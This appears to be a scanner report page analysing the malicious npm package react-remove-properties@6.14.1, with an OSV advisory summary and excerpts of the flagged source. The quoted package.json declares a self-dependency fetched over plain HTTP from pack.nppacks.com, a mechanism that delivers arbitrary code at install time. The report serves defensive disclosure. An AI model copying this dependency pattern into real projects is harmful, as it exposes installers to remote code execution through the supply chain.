Loading npm security reports…

react-remove-properties@6.14.1: Malicious npm security report | LPM Firewall

registry / react-remove-properties / 6.14.1

react-remove-properties@6.14.1

NPM

AI Security Review

scanned 4h ago · by lpm-firewall-ai

Installing the package can resolve a self-referential dependency over insecure HTTP. Its shipped JavaScript itself exposes only Babel transformation behavior and establishes no runtime network surface.

Static reason

One or more suspicious static signals were detected.

Trigger

npm dependency installation

Impact

A network attacker or compromised host could substitute dependency content during installation.

Mechanism

self-referential HTTP dependency resolution

Rationale

The source contains no direct payload, but the deliberate insecure self-dependency creates a concrete supply-chain substitution risk at install time.

Evidence

package.jsonindex.js

Network endpoints1

pack.nppacks.com/npm/react-remove-properties

OSV Corroboration

OpenSSF/OSV

Advisory

MAL-2026-14484

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in react-remove-properties (npm)

Details

package.json declares the package's own name in both dependencies and devDependencies pointing at http://pack.nppacks.com/npm/react-remove-properties — a plain-HTTP, non-npm-registry, unpinned URL. On `npm install`, npm fetches and installs whatever tarball is served at that mutable third-party endpoint into the installer's node_modules, giving the operator of pack.nppacks.com arbitrary-code delivery into the install. The source is not the official registry, the transport is cleartext HTTP (trivially MITM-able on any network path), the resolution is unpinned (no integrity/hash), and the host is outside npm's audit surface. A header comment in index.js labels the package as 'Security Research Testing Purpose,' but a self-label does not change the delivery mechanism.

Source & flagged code

3 flagged

package.jsonView file

Lines 1-27json

2 "name": "react-remove-properties",

3 "version": "6.14.1",

4 "description": "NPM",

5 "main": "index.js",

6 "scripts": {

7 "test": "echo \"Error: no test specified\" && exit 1"

8 },

9 "dependencies": {

10 "axios": "^1.7.9",

11 "lodash": "^4.17.21",

12 "node-fetch": "^3.3.2",

13 "react-remove-properties": "http://pack.nppacks.com/npm/react-remove-properties",

14 "traverse": "^0.6.11",

15 "ws": "^8.18.0"

High

Suspicious Dependency Evidence

Manifest declares itself as an HTTP dependency from pack.nppacks.com.

package.jsonView on unpkg · L9

16 },

17 "devDependencies": {

18 "react-remove-properties": "http://pack.nppacks.com/npm/react-remove-properties"

19 },

High

Suspicious Dependency Evidence

The same insecure self-reference is also in devDependencies.

package.jsonView on unpkg · L17

20 "engines": {

21 "node": ">=14.0.0"

22 },

23 "keywords": [],

24 "author": "JPD",

25 "license": "MIT"

26}

index.jsView file

Lines 1-21javascript

1"use strict";

3const traverse = require("traverse");

4const { get, has, find, memoize } = require

Source & flagged code

3 flagged · loading source

package.jsonView file

9"dependencies": { "axios": "^1.7.9", "lodash": "^4.17.21", "node-fetch": "^3.3.2", "react-remove-properties": "http://pack.nppacks.com/npm/react-remove-properties", "traverse": "^0.6.11", "ws": "^8.18.0"

High

Suspicious Dependency Evidence

Manifest declares itself as an HTTP dependency from pack.nppacks.com.

package.jsonView on unpkg · L9

17"devDependencies": { "react-remove-properties": "http://pack.nppacks.com/npm/react-remove-properties" }

High

Suspicious Dependency Evidence

The same insecure self-reference is also in devDependencies.

package.jsonView on unpkg · L17

index.jsView file

1"use strict"; const traverse = require("traverse"); const { get, has, find, memoize } = require("lodash");

High